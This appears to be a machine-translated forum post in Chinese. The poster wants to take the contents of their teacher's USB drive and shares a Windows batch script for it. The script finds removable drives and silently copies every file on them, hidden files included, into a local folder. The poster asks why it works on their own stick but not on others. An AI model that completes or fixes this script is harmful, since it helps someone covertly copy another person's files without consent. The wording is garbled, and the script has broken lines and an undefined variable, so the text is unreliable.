标题说明了一切。我想检测我老师的USB以防窃窃。
@echo off
color 0a
/min
SET odrive=%odrive:~0,24
set backupcmd=xcopy /exclude:file.txt /s /c /d /e /h /i /r /y
echo off
for /f "tokens=2 delims==" %%d in ('wmic logicaldisk where "drivetype=2"
get name /format:value') do set driveletter= %%d
@echo off
%backupcmd% %driveletter% "%drive%\all\Copied"
@echo off
cls
此脚本可以完美运行,但无法获得其他USB。它有我自己的USB。